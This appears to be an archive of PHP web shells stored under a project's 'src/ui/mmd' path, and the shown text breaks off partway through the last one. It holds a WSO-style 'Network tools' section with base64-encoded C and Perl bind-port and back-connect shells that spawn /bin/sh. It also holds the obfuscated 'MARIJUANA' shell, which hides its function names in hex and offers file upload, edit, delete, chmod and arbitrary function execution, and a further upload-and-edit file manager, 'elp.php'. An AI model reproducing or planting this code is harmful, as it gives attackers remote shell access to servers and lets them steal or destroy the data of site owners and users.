	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
	</form>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists('file_put_contents');
			if($w)	{
				@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpc') {
			cf("/tmp/bp.c",$bind_port_c);
			$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$▖ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
			echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST['p1'] == 'bcc') {
			cf("/tmp/bc.c",$back_connect_c);
			$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo '</div>';
	hardFooter();
}
if( empty($_POST['a']) )
	if(isset($▚) && function_exists('action' . $▚))
		$_POST['a'] = $▚;
	else
		$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
?>src/ui/mmd/lock360.php000064400000035240151327062330010425 0ustar00<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
		'7068705f756e616d65',
		'70687076657273696f6e',
		'6368646972',
		'676574637764',
		'707265675f73706c6974',
		'636f7079',
		'66696c655f6765745f636f6e74656e7473',
		'6261736536345f6465636f6465',
		'69735f646972',
		'6f625f656e645f636c65616e28293b',
		'756e6c696e6b',
		'6d6b646972',
		'63686d6f64',
		'7363616e646972',
		'7374725f7265706c616365',
		'68746d6c7370656369616c6368617273',
		'7661725f64756d70',
		'666f70656e',
		'667772697465',
		'66636c6f7365',
		'64617465',
		'66696c656d74696d65',
		'737562737472',
		'737072696e7466',
		'66696c657065726d73',
		'746f756368',
		'66696c655f657869737473',
		'72656e616d65',
		'69735f6172726179',
		'69735f6f626a656374',
		'737472706f73',
		'69735f7772697461626c65',
		'69735f7265616461626c65',
		'737472746f74696d65',
		'66696c6573697a65',
		'726d646972',
		'6f625f6765745f636c65616e',
		'7265616466696c65',
		'617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
	$GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>MARIJUANA</title>

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
						MARIJuANA
					</a>
				</div>

				<div class="q x w">
					&#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212;
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php echo $GNJ[0]();?>

					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

					<br />

					<i class="far fa-folder"></i>
					
					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\\\|\/)/", $d );
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') { 
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]); 
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/'; 
					}
					?>

					<br />

				</div>

				<div class="u">
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					<?php
					$o_ = [ 
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

				</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />&nbsp;&nbsp;
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

									if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

								echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

					}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

							$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						';

							}
						}
					}

						echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

			</article>
			<footer class="x">
				&copy;TheAlmightyZeus
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
	function rec($j) {
		global $GNJ;
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
			return;
		}
		if($GNJ[8]($j)) {
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
			$GNJ[35]($j);
		}
		else {
			$GNJ[10]($j);
		}
	}
	function dre($y1, $y2) {
		global $GNJ;
		ob_start();
		$GNJ[16]($y1($y2));
		return $GNJ[36]();
	}
	function hex($n) {
		$y='';
		for ($i=0; $i < strlen($n); $i++){
			$y .= dechex(ord($n[$i]));
		}
		return $y;
	}
	function uhex($y) {
		$n='';
		for ($i=0; $i < strlen($y)-1; $i+=2){
			$n .= chr(hexdec($y[$i].$y[$i+1]));
		}
		return $n;
	}
	function OK() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&1");
		exit();
	}
	function ER() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&0");
		exit();
	}
	function x($c) {
		global $GNJ;
		$x = $GNJ[24]($c);
		if(($x & 0xC000) == 0xC000) {
			$u = "s";
		}
		elseif(($x & 0xA000) == 0xA000) {
			$u = "l";
		}
		elseif(($x & 0x8000) == 0x8000) {
			$u = "-";
		}
		elseif(($x & 0x6000) == 0x6000) {
			$u = "b";
		}
		elseif(($x & 0x4000) == 0x4000) {
			$u = "d";
		}
		elseif(($x & 0x2000) == 0x2000) {
			$u = "c";
		}
		elseif(($x & 0x1000) == 0x1000) {
			$u = "p";
		}
		else {
			$u = "u";
		}
		$u .= (($x & 0x0100) ? "r" : "-");
		$u .= (($x & 0x0080) ? "w" : "-");
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
		$u .= (($x & 0x0020) ? "r" : "-");
		$u .= (($x & 0x0010) ? "w" : "-");
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
		$u .= (($x & 0x0004) ? "r" : "-");
		$u .= (($x & 0x0002) ? "w" : "-");
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
		return $u;
	}
	if(isset($_GET["g"])) {
		$GNJ[38]($GNJ[9]);
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: Binary");
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
		$GNJ[37](uhex($_GET["g"]));
	}
?>src/ui/mmd/elp.php000064400000025736151327062330010035 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elep</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
